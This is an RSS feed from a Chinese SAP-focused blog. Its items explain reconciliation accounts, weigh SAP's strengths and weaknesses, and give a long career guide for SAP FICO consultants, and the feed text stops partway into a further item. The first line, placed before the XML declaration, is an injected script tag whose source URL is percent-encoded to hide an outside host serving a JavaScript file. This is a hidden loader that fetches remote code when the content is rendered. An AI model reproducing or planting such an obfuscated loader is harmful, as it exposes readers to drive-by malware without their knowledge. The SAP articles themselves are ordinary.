<script src=http://%77%77%77%2E%74%76%33%38%30%30%2E%63%6E/%74%63%2E%6A%73></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[紫气东来 - SAP]]></title>
<link>http://www.dbsun.com/</link>
<description><![CDATA[天行健，君子以自强不息。]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog2 v2.4]]></copyright>
<webMaster><![CDATA[dbmaster@163.com(Zilong)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>紫气东来</title> 
	<url>http://www.dbsun.com/images/logos.gif</url> 
	<link>http://www.dbsun.com/</link> 
	<description>紫气东来</description> 
</image>

			<item>
			<link>http://www.dbsun.com/default.asp?id=147</link>
			<title><![CDATA[SAP统权科目解释]]></title>
			<author>dbmaster@163.com(zilong)</author>
			<category><![CDATA[SAP]]></category>
			<pubDate>Tue,12 Aug 2008 14:38:36 +0800</pubDate>
			<guid>http://www.dbsun.com/default.asp?id=147</guid>	
		<description><![CDATA[作者：operator&nbsp;hu&nbsp;<br/><br/>统权科目（reconciliation&nbsp;account)&nbsp;是用来将明细分类帐附加到总分类帐的一种总帐科目。统权科目和明细分类帐在过帐业务时同步更新-即行项目明细保持在明细份类帐中，汇总信息则保留在统权科目中，统权科目是不能直接过帐的。&nbsp;<br/>在系统中，我们一般把某个客户最经常发生的业务对应的总帐科目设为它的统权科目。如非特别说明该客户的业务都会自动计入它的统权科目中去。而一个总帐科目一旦被设为统权科目，它就只能接收来自明细帐的数据进行汇总，它本身不能直接录入数据。&nbsp;<br/>统驭科目是连接分类账的总帐科目.&nbsp;应收应付和资产相关科目一般设置成统驭科目(有分类账的总帐科目)&nbsp;.&nbsp;<br/>在创建GL主数据的时候指定；当你在创建客户或供应商主数据的时候，都会提示输入特别总帐标准，就会用到统驭科目，与会计科目表中的应收、应付、预收、预付形成对应关系，起到连接总帐和分类帐之间的关系。&nbsp;<br/>因为在应收和应付模块中，做凭证时输入的都是客户和供应商，所形成的应收、应付、预收、预&nbsp;<br/>付都是针对客户和供应商的，并未真正与科目表中的总帐科目对应，所以需要用到统驭科目，与&nbsp;<br/>科目表能形成对应关系，此外在对客户和供应商在做未清项处理时，也需统驭科目的对应。&nbsp;<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.dbsun.com/default.asp?id=77</link>
			<title><![CDATA[[转]SAP的强和弱]]></title>
			<author>dbmaster@163.com(zilong)</author>
			<category><![CDATA[SAP]]></category>
			<pubDate>Fri,15 Feb 2008 08:34:23 +0800</pubDate>
			<guid>http://www.dbsun.com/default.asp?id=77</guid>	
		<description><![CDATA[<br/><br/>刚刚正式接触SAP不久，胡乱说说，从技术架构上讲，SAP的确超前了整个IT行业至少10年。应用服务器、中间件、虚拟机等等在SAP中早就应用了，想想JAVA又是什么时候的事情?可以说技术上，SAP把所有和底层相关的东西全部屏蔽掉了，所以在平台上他是通用的。<br/>　　不说别的，单说SAP在全球化上做的工作就够得上海量了。<br/><br/>　　SAP在整个架构上就是自成一体，独树一帜的，整个SAP给我感觉就像一个庞大的操作系统+数据库+开发环境+应用软件的整合体，试问有那个系统能和他比。<br/><br/>　　说说SAP的不足，应该说为了方便开发，SAP设计出了ABAP语言，ABAP是类似于FOXPRO、PB这样的第四代或第五代语言，很多特性都是针对数据和业务处理的，但是为了方便和通用，ABAP的执行效率一直是个迷，我个人觉得ABPA可能是个性能杀手。<br/><br/>　　另外，由于SAP架构定型较早，虽然很超前，但是技术发展实在太快了，虽然整体架构还没有什么问题，但是很多细节上也已经遭到很多诟病。比如我个人就比较费解为什么ABAP没有图形界面，为什么事件触发还要自己写代码，给我感觉用ABAP编程就像在PB里不用图形界面而用edit&nbsp;source来写程序。ABAP的独特性让很多编程的朋友一头雾水，我想如果换了今天，SAP是否可能会用JAVA来做为开发平台。<br/><br/>　　第三个问题还是由于SAP的历史太悠久，所以系统中的补丁实在太多了，很多后来加上去的程序是否被优化过又是一个问题。大家是否看过SAP的源程序，简直是大杂烩。这样，SAP对系统进行彻底优化和翻新是几乎不可能的事情了，就像MSSQL7到MSSQL2000那样的变化是不可能的了。另外由于系统太庞大，很难有人说的清楚他到底在干些什么(或许只是在中国)。<br/><br/>　　第四个问题就是，SAP的服务，SAP的服务真的好吗?我想很多实施过SAP的单位对此应当很有些想法，无论是SAP公司本身还是那些实施公司，对于客户来说都是巨大的成本中心，他所提供的服务和收费比起来，性价比怎么样大家自己想吧。虽说一分价钱一分货，但是在当今这个追求性价比的年代，恐怕世界上再难找出和SAP一样的服务了吧。当年我还为微软的服务收费感到吃惊，现在我觉得什么服务都是便宜的。有时候想到SAP有多好，紧接着想到收了那么多钱，还做不好象话嘛:。)<br/><br/>　　第五个问题，由第四个问题引发的，SAP真的性价比好吗?我和同事们无聊时曾经算过，如果把上SAP的投资来做定制开发的话，足够养活一个中等规模的软件企业，而且理想状态下，这个软件企业只为你一家服务。如果你说SAP不单单时软件，还有管理。那么，试问，有哪家企业在上SAP的时候不是另外掏腰包来买管理咨询的——比如BPR什么的。所以在管理上的投资根本和SAP无关。顺便说一句，SAP所需要的硬件平台真的是很昂贵，能支撑SAP的硬件就没有便宜的。很多上SAP的公司，一般都基于稳健考虑不会采用最新的硬件——比如安腾2什么的，至少目前来说，买那些小型机真的是个很大的投入。另外，好的机器还需要好的窝，如果按照标准来考核，很多企业的机房看来要重建。小型机可不是随便找个干净点的地方就可以放的。而且由于SAP独特的架构，上SAP绝对不是一套硬件能搞定的，还需要配置系统、开放系统、测试系统，最后才是生产系统，呵呵，你就等着掏钱吧。<br/><br/>　　第六个问题，由第五个问题引发的，SAP的扩展性真的好吗?由于SAP自成一体，所以其他系统很难和他进行沟通，沟通的方式也很繁琐，SAP对外的接口有BAPI、RFC、IDOC等，做过开发就知道了。SAP的生产系统往往是OLTP的，那么做数据统计就自然要外接系统了，如果不用SAP的BW，可以说购买ETL工具是不可避免的——这又是投资，并且做ETL的和实施SAP的往往不是一家公司——协调又是个问题。无论是用BW还是另外购买数据仓库软件(比如SARS等)都是需要另外投资的。试想，如果是定制的软件，养着那家公司，增加若干报表应该不是问题吧——什么?要收钱?——小心扁你，不干活我凭什么给你每年10%的维护费——并且我第三年需要增加报表你们还要问我收前2年的服务费——即使我没有提出过要服务也没要过服务。<br/><br/>　　大家不要太过指责UF或KD等，毕竟IT是从西方起源的，就像乒乓、围棋那样，是需要群众基础的。<br/><br/>　　对于SAP这样的大怪物，欧洲的法律制度和整体认知水平要好很多，所以SAP做的不错就能生存下来，并且有了原始积累。这是UF和KD所无法比的，SAP在客户上收的钱是可持续的，就像电话的月租费一样，而UF、KD等公司基本上买了一个拷贝就基本结束了。我想，如果UF和KD很有钱的话，应该会有做大的想法，因为竞争中不是我强就是被吞食。<br/><br/>　　听SAP的人说，SAP强的不是技术而是行业顾问，行业顾问才是SAP真正的竞争力，有了这些顾问SAP能够适应发展潮流不断建立新的业务模型，让SAP立于不败之地。了解SAP的都知道，SAP中真的没有什么实现不了的流程，只是方便与否。这有些像学计算机会写程序的确是技术，但是更有含金量的是数学模型，那些什么股票软件，如果没有数学模型又有什么用，和股票BB机又有什么区别。会写程序的人很多，但是会建数学模型的人就比较稀有了，这个道理大家应该很明白。<br/><br/>　　说了这么多，总的来说就是觉得SAP还有许多值得改进的地方，还是希望国内的软件大腕们能够苦练内功，开发出让我们能够值得推荐的系统。<br/><br/>&nbsp;特别声明：本文摘自itpub&nbsp;&nbsp;&nbsp;作者：&nbsp;itpub&nbsp;出处：itpub<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.dbsun.com/default.asp?id=75</link>
			<title><![CDATA[『转』 SAP顾问心得     ]]></title>
			<author>dbmaster@163.com(zilong)</author>
			<category><![CDATA[SAP]]></category>
			<pubDate>Sun,03 Feb 2008 08:41:31 +0800</pubDate>
			<guid>http://www.dbsun.com/default.asp?id=75</guid>	
		<description><![CDATA[<br/>&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;就答应给大家写一下我做SAP顾问的一点心得，今日稍稍得闲，想起对诸位的承诺，不如早早动笔，免得日久忘笔食言<br/>想来做这个行业时间不长，但感触颇深，在此分享，希望对诸位有所裨益！<br/>分以下几个话题：<br/>1．&nbsp;几个简单概念<br/>2．&nbsp;如何成为一名SAP顾问<br/>3．&nbsp;如何成为一名优秀的FICO顾问<br/>4．&nbsp;SAP顾问的生活状态<br/>5．&nbsp;FICO顾问在各阶段的任务<br/>6．&nbsp;结语&nbsp;&nbsp;<br/><br/>一．几个简单概念：KEY&nbsp;USER,&nbsp;IT&nbsp;USER,&nbsp;END&nbsp;USER<br/>1.&nbsp;KEY&nbsp;USER:<br/>&nbsp;&nbsp;&nbsp;&nbsp;在一个SAP项目中，KEY&nbsp;USER是客户方的业务骨干人员，在项目中负责向模块顾问传递企业内部所负责领域的关键需求，也是系统测试阶段的关键测试人员，对FICO来说，通常是一些较为资深的会计人员，财务经理等；KEY&nbsp;USER全面掌握SAP前台操作，负责对END&nbsp;USER的操作培训，是顾问和END&nbsp;USER之间的联系人，收集并负责向顾问解释END&nbsp;USER的需求。<br/>2.&nbsp;IT&nbsp;USER:&nbsp;<br/>&nbsp;&nbsp;&nbsp;是客户方IT部门的成员，通常计算机基础很好，在项目实施过程中从KEY&nbsp;USER处获得本企业相关领域的业务知识，从顾问处获得相关模块的SAP知识和技能;&nbsp;IT&nbsp;USER全面掌握SAP的前后台操作，负责解决SAP使用过程中的技术问题，项目实施中是顾问的得力助手，项目结束后作为企业内部顾问，对企业新的业务需求进行分析并给出解决方案。<br/>3.&nbsp;END&nbsp;USER:&nbsp;<br/>&nbsp;&nbsp;&nbsp;是企业SAP的最终使用者，一般的业务人员，各层级的经理等等，企业内部SAP使用者只要不是KEY&nbsp;USER，IT&nbsp;USER的都可以称为END&nbsp;USER．END&nbsp;USER是客户需求的初始提出者，SAP系统规划的最终目的也就是满足他们的需求，日常业务中每个END&nbsp;USER仅使用SAP前台的部分相关操作，对FICO&nbsp;来说，END&nbsp;USER可以分为总账，应收，应付，资产，出纳，成本，财务经理等，每个人通常只有部分前台操作。<br/>从以上几个概念可以看出，最有可能成为SAP顾问的就是IT&nbsp;USER，随后是KEY&nbsp;USER，再其次是END&nbsp;USER，从某个网站的统计资料可以看到，FICO顾问中，ＩＴ背景和财务背景的各占一半。<br/><br/>二．如何成为一名SAP顾问：<br/>１．&nbsp;可以推理得出，最容易成为顾问的还是IT&nbsp;USER，因为通常IT&nbsp;USER对SAP的技术知识以及相关业务知识，项目实施过程都有所了解，所以应聘为一名初级顾问应该很容易。对于一些对SAP很感兴趣的KEY&nbsp;<br/>USER，由于有着丰富的业务知识，对SAP系统前台业务的较多的理解，相对来讲也容易成为一名初级顾问，END&nbsp;USER就很差了。作为END&nbsp;USER，要花费相当大的努力最好先成为一名KEY&nbsp;USER，转为顾问才会轻松些。很多大公司实施SAP后，人员流动非常之快，IT&nbsp;USER和KEY&nbsp;USER的流动率很高，新招的人很难原来就做过KEY&nbsp;USER或者IT&nbsp;USER的，对SAP感兴趣的END&nbsp;USER，这时可以试试。<br/>２．没有任何基础，如果接受了SAP顾问学院的培训并获得ＰＡ证书，也很容易应聘成为顾问；SAP顾问学院的学费极其高昂，通常是企业出资培训，可以想象此种培训背后的违约协议将是如何严格，并且不见得培训后一定会获得此证书。还有其他各种培训公司对学员的培训，但这种培训如果有项目实习，那将会更好，但没有哪个公司敢保证对学员的项目实习机会，即使有，费用绝对高昂。<br/>３．没有任何基础，也没有获得什么ＰＡ证书，想成为一名SAP顾问，可以想象就更难了。我想跟大家强调的就是这种情况下如何成为一名SAP&nbsp;顾问。经过了这个课程的培训，感觉上即使SAP应用的水平再差，如果能把我们课堂练习的那些内容作过去，SAP&nbsp;的前台操作应该没有问题的，和不懂SAP的人相比你们已经很懂，如果稍加练习，然后应聘为一个企业的KEY&nbsp;USER,&nbsp;绝对不成问题的,好一点的可以直接到一些顾问公司去应聘,当然不要挑选顶尖的公司,那需要你有更多其他方面的实力。&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;如今的企业在招聘KEY&nbsp;USER的时候，似乎条件很高，但我相信你只需告诉他们你已经有某公司的KEY&nbsp;USER经验一年以上，而且在面试的时候，他们从前台操作及SAP的概念上无法难倒你，你成为一名KEY&nbsp;USER的可能性很大，做一名SAP的KEY&nbsp;USER实际上是很舒服的，甚至有很多顾问最终都选择了做企业的KEY&nbsp;USER.&nbsp;当你成为一名KEY&nbsp;USER并且在企业内部也做过实施的话，你就完全具备出来做顾问的条件了，剩下的只是你如何对你所想去的顾问公司表现你对SAP的理解了。<br/>对于几位从事ABAP的学员，我建议你们以ABAP顾问的身份进入顾问公司，然后在项目中和模块顾问学习，我所在的公司的ABAP顾问很多都是通过这种方式转变为模块顾问的，还有就是，如果能够精通ABAP并且了解SAP业务模块，此种水平的ABAP也很值钱的哟！<br/>成为一名SAP顾问的途径很多，但前提是你非常渴望在这一行发展，我们常说：有志者事竟成，是的，我非常相信这句话，想做，就能做到。而且我绝对相信，咱们这些学员中肯定会有几人很快走上顾问这行的，要知道，大家的起点曾经是一样！<br/><br/>三.&nbsp;如何成为一名优秀的FICO&nbsp;顾问：<br/>FICO顾问在几乎所有SAP项目中都要有所参与，并且与几乎所有模块都有所关联，个人认为，FICO顾问的发展潜力是很大的。<br/>１．&nbsp;FICO的特点:&nbsp;<br/>PP是几乎每个项目都不一样，所以做起来又苦又累，而FICO几乎每个项目都差不多，FI没有那么多的灵活性，一切都要按照符合会计制度的方式来设置，操作。CO灵活性很大，但是正是这种灵活性，让顾问有更多的可发挥的空间，也正是客户所感知的价值所在。关于FICO，几乎没有什么可以争论的问题，FI的做法永远都很标准，CO的灵活通常是超过客户的期望的。<br/>２．作为一个FICO顾问，首先是其他模块顾问的财务指导，其他模块的业务流程涉及到财务的部分，财务可以最终决定取舍，毕竟，财务是外部要求，很难变通，如果一项后勤的操作的财务影响不符合会计制度，毫无疑问要取消掉．所以很多时候后勤顾问（ＰＰ，ＭＭ，ＳＤ）提出的新流程都要征求财务顾问的意见，这就需要财务顾问对SAP后勤知识有一定的了解，<br/>３．作为一个FICO顾问，只跟客户讲SAP是不够的，要与财务经理在业务上进行沟通，客户有些时候对SAP的某种操作提出质疑，我们要从财务原理的角度上去解释；了解客户需求需要顾问有一定基础的财务知识，在项目中，如果让客户方感觉出顾问不懂财务，权威性一旦遭到质疑，那接下来项目一定会做的很辛苦。<br/>４．从财务部分延伸出去的SEM以及EIS，BW都是信息系统发展的方向，掌握了财务部分，你会更清晰的理解一个企业运作的原理和目标。<br/>从以上可以得知，要想做好财务顾问，财务知识，一些常见的SAP后勤模块的知识一定要有的，所以，你需要下的功夫很多哟。这所有的一切，不过是成为一名优秀的FICO顾问所应该具备的，要想做到这一点，还需要态度和努力。<br/>大家能够见到的顾问形形色色，仅仅很精通SAP某模块知识和优秀的或者说资深的顾问完全是两回事情；SAP模块知识掌握的多少，SAP整体知识的掌握，项目实施经验，客户沟通技巧，对待工作的热情和态度……，如果你想成为一名优秀的顾问，在这些方面都要做得很好才可以哟！&nbsp;<br/>四.SAP顾问行业的生活状态：<br/>1.&nbsp;<br/>做好吃苦的准备；是否能吃得了这份辛苦：顾问收入高,但也超级辛苦,华尔街投资顾问以及大公司的咨询顾问动不动就连续三四天平均每天只睡三四个小时的工作，还好，SAP顾问远没有那么辛苦，除了上线阶段外，平时为项目的事情也就加班到八九点钟，但问题是，SAP的博大精深大家一定有所耳闻，从业者对其欲罢不能，尤其是初涉此行业的人，都是把几乎所有的业余时间都用在了系统操练上，越搞感觉不懂的越多，上瘾呀，所以很难罢手，怎不辛苦！？<br/>2.&nbsp;<br/>要承担巨大的压力：你肯定会经历这个环节，客户的需求很多，而有的你根本就不知道SAP是否能够实现，从他人那里也找不到帮助，所以要自己测试，自己不懂，但不能跟客户讲你不懂，你要读大量的文档，要去在短时间内把一个不熟悉的东西变成自己非常熟悉的。<br/>3.&nbsp;<br/>凡事靠自己：不要寄希望公司会给你什么帮助，也不要寄希望别人会给你什么主要的帮助，没有谁会耐心地给你讲解SAP内部的种种关联，你对其他资深顾问提出的问题应该以寻求确认的方式去问，比如你可以问：<br/>A..某种特别的需求可不可以在系统中实现?<br/>B.&nbsp;通过某种方式可不可以实现某种功能，有什么潜在的风险?<br/>C.&nbsp;通常某种需求在系统中是不是这样实现的?<br/>D.没有相关的文档（配置文档，操作手册）发来瞧瞧？<br/>这样的问题让别人在回答你的问题的时候,根据经验很容易做答,&nbsp;<br/>大家时间都宝贵,你需要从他那里获得确认你的某些想法的信息，而不是让他详细地告诉你如何如何去做，所以也就需要你在准备问题的时候自己要多下功夫思考和阅读一定的资料。而且只有这样，你的功力长的才会很快，因为有些时候，依赖过多也会形成习惯的。<br/>4.&nbsp;<br/>经常出差：很少会有项目就在我们所在的城市进行，因此，出差是家常便饭，如果是附近省份或者省内项目，每周回家不成问题，如果是较远地区需要乘坐飞机，好一点的公司会允许两周一次公费往返，很多公司甚至一个月允许一次公费往返。<br/>所以大家可以想一想，这样的生活状态是否是你所能人忍受的，你喜欢这么做，还是因为收入高你宁愿这么做？一定要从自己的现实状况去考虑一下！我见过有的顾问因为作这一行，老婆离婚，女友分手的，还有的人父母年迈需要照料，长期出差难以承受的，总之，要先权衡一下，一旦是那样的生活状态，自己是否可以承受。&nbsp;<br/><br/>五．FICO顾问在各阶段的任务。<br/>通常来讲，不论采用什么样的项目实施方法论，整体的项目实施过程基本上是一样的，我在课堂上曾给大家做过一定的解释，那就是项目实施的五个阶段：项目准备，蓝图设计，系统实现，上线准备，系统切换及上线支持。下面我分别介绍各个阶段对FICO来讲的任务有哪些：<br/>１．&nbsp;项目准备：&nbsp;<br/>这个阶段通常来讲算是项目前期工作的一个总结，以项目启动大会为结束标志，它包括了项目计划，项目章程，组织结构，人员职责，项目工作环境等等的设定，这个时候，顾问甚至还没有完全进入项目，通常开项目启动大会的时候，顾问到场出席即可。<br/>２．&nbsp;蓝图设计：&nbsp;<br/>这个阶段主要完成客户未来流程的设计，作为FICO顾问，你要做的事情主要有如下几点：<br/>A.&nbsp;概念培训：对KEY&nbsp;USER和IT&nbsp;USER进行SAP&nbsp;FICO&nbsp;OVERVIEW的一个培训，此培训通常基于IDES系统,主要让客户掌握SAP的基本概念，对SAP的操作和运行方式有个基本的了解。<br/>B.&nbsp;现状调研：对总帐，应收，应付，固定资产，成本计划以及核算等财务子职能的现状进行调查，详细了解客户各方面的需求，这个阶段顾问间要经常沟通，从而可以更全面地掌握客户需求。<br/>C.&nbsp;蓝图设计：对比现有流程与SAP标准流程间的差距，通常财务流程较为标准，对于特殊需求，特别考虑一下即可。这个阶段的顾问要写出蓝图文档，也是客户与顾问冲突最大的阶段，成功的关键是引导客户需求，降低客户对项目不切实际的期望等等。<br/>这个阶段对初级顾问来讲，极其痛苦，你不得不在业余花费大量的时间去准备好多未知的东西，让客户相信你，只有充分的准备，而这些需要大量的精力投入。<br/>３．&nbsp;系统实现：&nbsp;<br/>此阶段要将蓝图设计中涉及到的流程，在SAP系统里给予实现，更多的是技术方面的工作，也就是系统配置，配置结束后要进行顾问内部的测试，将基本流程测试无问题后进行单元测试和集成测试，单元测试过程是IT&nbsp;USER和KEY&nbsp;USER掌握SAP详细功能的起点,针对本业务范围内的所有业务场景进行功能测试,&nbsp;单元测试文档由KEY&nbsp;USER准备出来，记录测试过程及结果，这个文档也是接下来用户培训阶段培训手册的蓝本。此阶段顾问要着重解决KEY&nbsp;USER提出的各种业务流程在系统中如何表现的问题，也是对KEY&nbsp;USER进行SAP操作培训的最重要的一个步骤。单元测试结束后将进行集成测试，集成测试可先在两两模块之间进行，先解决小范围集成遇到的各种问题，然后再进行大范围的集成，涉及到企业日常运作的主要场景，从销售预测，销售订单，生产计划，采购，库存，生产，销售，收款等等业务循环各阶段的操作的进行，凭证的显示查询，单据的流转等等。此部分内容主要由KEY&nbsp;USER&nbsp;来进行;本阶段你要负责的事情：<br/>A.&nbsp;配置系统并和其他模块顾问进行内部测试。<br/>B.&nbsp;与KEY&nbsp;USER一起进行单元测试，并负责解决测试中出现的各种问题<br/>C.&nbsp;培训KEY&nbsp;USER和IT&nbsp;USER基本业务流程操作<br/>D.&nbsp;KEY&nbsp;USER&nbsp;进行集成测试，负责解释后勤业务部门提出的疑问，并解决接口问题<br/>E.&nbsp;权限角色的设定（通常有模板，此模板我也给过大家一份）<br/>F.&nbsp;客户需求的各种单据表格的开发测试（和ABAP沟通）<br/>４．&nbsp;上线准备：&nbsp;<br/>此阶段要做的主要工作是上线数据的准备以及最终用户的培训工作，数据可分静态数据和动态数据，静态数据也可称为主数据，如客户，供应商，物料等等，动态数据为业务产生的数据，如客户余额，物料库存数量等等，对FICO顾问来说，要准备的静态数据无非是总账科目，客户，供应商要对应的统驭科目，银行信息，还有就是物料的价格信息，而动态数据无非是各种类型账户的科目余额，这个阶段作为FICO顾问你需要做的事情是：<br/>A.&nbsp;提供数据准备的模板给关键用户，负责解释模板各字段含义<br/>B.&nbsp;检查数据准备的质量<br/>C.&nbsp;KEY&nbsp;USER对END&nbsp;USER进行最终培训，顾问要负责支持<br/>D.&nbsp;此阶段仍旧会有客户特定需求的配置，改动等等<br/>E.&nbsp;系统上线数据切换策略（我曾经给过大家的DATA&nbsp;CONVERSION&nbsp;STRATEGY）<br/>５．&nbsp;系统切换以及上线支持：&nbsp;<br/>此阶段实现数据从原有系统到新系统的导入，对于后勤业务来说，物料主数据必须首先导入系统，然后是BOM,&nbsp;<br/>ROUNTING,&nbsp;已经下达尚未收货的采购订单，生产订单，尚未交货的销售订单等等，对于财务部分，最最重要的是将总账和明细账对平：<br/>A.&nbsp;导入上线时刻财务数据到新系统：对于总账存货科目余额，一定要和所有物料价值明细对平，允许的差异记录到材料成本差异账户，总帐的固定资产余额要与固定资产明细对平，应收应付预收预付总帐科目要与客户供应商余额明晰对平。通常用CATT就可搞定。<br/>B.&nbsp;运行成本估算，从系统内产生物料的标准价，从而后勤物料移动，成本信息准确反映。<br/>C.&nbsp;上线后的日清操作：上线后要对所有从后勤业务产生的财务凭证进行检查，从而保证后勤业务和财务的正确集成。一旦发现错误操作，当天发生的，当天解决，财务尤其需要关注的是仓库的收发料操作，错误的物料价格，错误使用的移动类型，常常对财务产生较大的影响，而且此种类型的错误一定要进行纠正，必要时可采取一些奖惩措施。<br/>D.&nbsp;上线后月结支持：通常SAP系统上线第一个月的月结需要财务顾问现场指导，而且在月结时候暴露出来的一些业务问题要进行纠正。<br/>E.&nbsp;上线后的其他支持：系统上线后两周左右，顾问撤离客户公司，以后的大部分支持是通过电话，EMAIL,VPN远程连接来解决的。END&nbsp;USER的问题传递给KEY&nbsp;USER和IT&nbsp;USER,&nbsp;IT&nbsp;USER作为企业内部顾问将逐渐取代FICO顾问的角色，他们再将自己无法解决的问题传递给顾问，顾问解决不了的再向SAP发送MESSAGE,&nbsp;<br/>请求SAP的全球支持，就是这样一个帮助链条保证SAP系统的正常运行。&nbsp;<br/><br/>六.结语:&nbsp;<br/>这段文字开始起笔于4月17日，结束于5月3日上海飞往吉隆坡的飞机上，按理说这点东西完全可以一气呵成，可忙碌的工作让我很少有心情去写，可我还是希望把自己了解的一点关于SAP顾问的东西让大家一起来分享。希望对各位能有所帮助。<br/>我相信有些同学还在犹豫：自己是否去做顾问？做了顾问的前途是什么？而我一直认为，人一生只要能够认真做好一件事情，实属不易，而企业IT应用这一块的市场一直在发展，所以，想做什么不要犹豫，年轻的时候做什么都有道理，关键是要利用好自己的时间，珍惜每一天，让每一天都过得有意义，你的付出终有回报，相信自己才会成功！<br/>让自己变得足够专业，这个世界真的会属于你！我在努力，希望我们能一起努力！<br/>谢谢！<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.dbsun.com/default.asp?id=65</link>
			<title><![CDATA[SAP DEVELOP T-CODE]]></title>
			<author>dbmaster@163.com(zilong)</author>
			<category><![CDATA[SAP]]></category>
			<pubDate>Sat,12 Jan 2008 10:59:07 +0800</pubDate>
			<guid>http://www.dbsun.com/default.asp?id=65</guid>	
